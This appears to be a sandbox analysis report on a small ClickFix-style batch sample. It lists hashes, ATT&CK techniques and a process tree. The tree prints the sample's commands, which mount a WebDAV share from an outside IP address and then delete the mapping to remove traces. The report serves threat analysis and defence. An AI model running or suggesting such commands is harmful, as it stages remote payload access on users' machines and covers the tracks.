dff01c4e73e07766ce0d4029dd7078f591251a4ff39395135864ef9e149632c2

Analysis

max time kernel
149s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
08/06/2026, 18:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
clickfix_raw_user_input.bat
Size 112B
Sample260608-xd4dvsdz7s
SHA256 dff01c4e73e07766ce0d4029dd7078f591251a4ff39395135864ef9e149632c2
MD5 3e8ddef5da335db7b663f26115a3f217
SHA1 e34e438e7c659442cb63af87dddebfaf9cec060e
SHA512 4e08224e8bd4ebc67565f30296fc32505dbfc3f30040eee2a91bb776655acf5182fef78e444c1313460e382aaed14f7b22d00556de5f4b9a5e806d20f74b6eb0
TLSH
T108B09264568EA9104216CEE650F384D5BA4F828290E2E9AA90A120D89838178280E19A
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion

Malware Config

Signatures

Indicator Removal: Network Share Connection Removal 1 TTPs 1 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
2400	net.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	net.exe

Runs net.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2376 wrote to memory of 4884	2376	cmd.exe	83
PID 4884 wrote to memory of 1880	4884	cmd.exe	84
PID 2376 wrote to memory of 2400	2376	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\clickfix_raw_user_input.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2376
- C:\Windows\system32\cmd.exe
  cmd /c net use Z: http://185.246.223.71/webdav /persistent:no
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4884
- - C:\Windows\system32\net.exe
    net use Z: http://185.246.223.71/webdav /persistent:no
    3⤵
    PID:1880
- C:\Windows\system32\net.exe
  net use Z: /delete
  2⤵
  - Indicator Removal: Network Share Connection Removal
  - Enumerates connected drives
  PID:2400

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

Network Share Connection Removal

T1070.005

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads